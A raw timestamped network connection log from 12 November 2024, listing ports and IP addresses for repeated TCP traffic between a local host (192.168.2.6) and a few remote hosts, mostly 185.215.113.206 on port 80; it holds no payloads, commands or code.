Nov 12, 2024 17:07:55.254945040 CET	49963	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.254955053 CET	443	49963	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.255386114 CET	49963	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.255390882 CET	443	49963	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.269109011 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269123077 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269134998 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269150972 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269221067 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269227982 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.269227982 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.269234896 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269289970 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269299984 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269320011 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.269320011 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.269344091 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269360065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269361973 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.269402027 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.269536018 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269547939 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269562006 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269575119 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269587994 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269610882 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.269610882 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.269634962 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.269634962 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269655943 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269670010 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269691944 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.269691944 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.269707918 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.269773006 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269793034 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269805908 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269815922 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.269819975 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269839048 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269841909 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.269841909 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.269860983 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.269879103 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.269911051 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269922972 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269932985 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.269956112 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.269999981 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270000935 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270015955 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270030022 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270041943 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270045996 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270056009 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270066023 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270076990 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270111084 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270111084 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270289898 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270308018 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270324945 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270339012 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270344973 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270344973 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270351887 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270354033 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270364046 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270386934 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270386934 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270416021 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270553112 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270564079 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270577908 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270591974 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270601988 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270616055 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270616055 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270616055 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270652056 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270652056 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270833969 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270847082 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270859003 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270873070 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270874977 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270874977 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270888090 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270896912 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270903111 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270905972 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270915985 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270930052 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270944118 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270944118 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270944118 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270962954 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270972013 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.270991087 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.270991087 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.271020889 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.271193981 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.271213055 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.271229029 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.271241903 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.271256924 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.271259069 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.271259069 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.271259069 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.271269083 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.271276951 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.271286011 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.271291971 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.271306038 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.271320105 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.271320105 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.271326065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.271338940 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.271342039 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.271375895 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.271375895 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.271603107 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.271616936 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.271626949 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.271641016 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.271652937 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.271661997 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.271661997 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.271697044 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.271752119 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.271764040 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.271773100 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.271785975 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.271800041 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.271807909 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.271817923 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.271836042 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.272016048 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272027016 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272037983 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272057056 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272059917 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.272070885 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272073984 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.272084951 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272100925 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272116899 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272124052 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.272124052 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.272129059 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272141933 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272156000 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.272156954 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272196054 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.272196054 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.272294044 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272306919 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272350073 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.272437096 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272452116 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272464991 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272478104 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.272478104 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272492886 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272505045 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272509098 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.272517920 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272531986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.272536039 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.272536039 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.272620916 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.285835981 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.285908937 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.310198069 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.310266972 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.310272932 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.310281992 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.310303926 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.310323000 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.310393095 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.310406923 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.310417891 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.310431957 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.310437918 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.310446024 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.310452938 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.310503006 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.310503006 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.386830091 CET	443	49963	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.386888981 CET	443	49963	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.387043953 CET	49963	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.387219906 CET	49963	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.387237072 CET	443	49963	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.387247086 CET	49963	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.387253046 CET	443	49963	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.388752937 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.388778925 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.388791084 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.388819933 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.388837099 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.388892889 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.388912916 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.388926029 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.388941050 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.388942957 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.388957024 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.388972998 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.389076948 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389090061 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389116049 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389130116 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.389130116 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389130116 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.389146090 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389162064 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.389193058 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.389193058 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.389229059 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389241934 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389255047 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389287949 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.389287949 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.389358044 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389372110 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389384031 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389396906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389411926 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389425039 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389431953 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.389431953 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.389441967 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389445066 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.389476061 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.389635086 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389647961 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389664888 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389677048 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389678955 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.389693975 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389729023 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.389729023 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.389785051 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389796972 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389812946 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389826059 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389831066 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.389842987 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389851093 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.389854908 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.389879942 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.389879942 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390022993 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390034914 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390047073 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390065908 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390073061 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390078068 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390090942 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390105963 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390109062 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390109062 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390139103 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390153885 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390273094 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390289068 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390300989 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390315056 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390327930 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390341997 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390373945 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390373945 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390415907 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390427113 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390439034 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390459061 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390460968 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390475035 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390482903 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390494108 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390521049 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390561104 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390719891 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390736103 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390749931 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390758038 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390777111 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390784979 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390784979 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390789986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390803099 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390816927 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390822887 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390822887 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390830994 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390844107 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390845060 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390858889 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390872002 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390872002 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390872002 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390887022 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390887976 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390907049 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390911102 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.390933037 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390933037 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.390945911 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.391123056 CET	49972	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.391154051 CET	443	49972	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.391192913 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391243935 CET	49972	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.391288042 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391304970 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391318083 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.391328096 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391328096 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.391341925 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391355991 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391371965 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391374111 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.391374111 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.391400099 CET	49972	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.391402006 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.391411066 CET	443	49972	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.391418934 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.391438961 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391454935 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391469955 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391486883 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.391488075 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391494989 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.391504049 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391525984 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.391525984 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.391544104 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.391560078 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391571999 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391582012 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391597033 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391608953 CET	80	49859	185.215.113.206	192.168.2.6
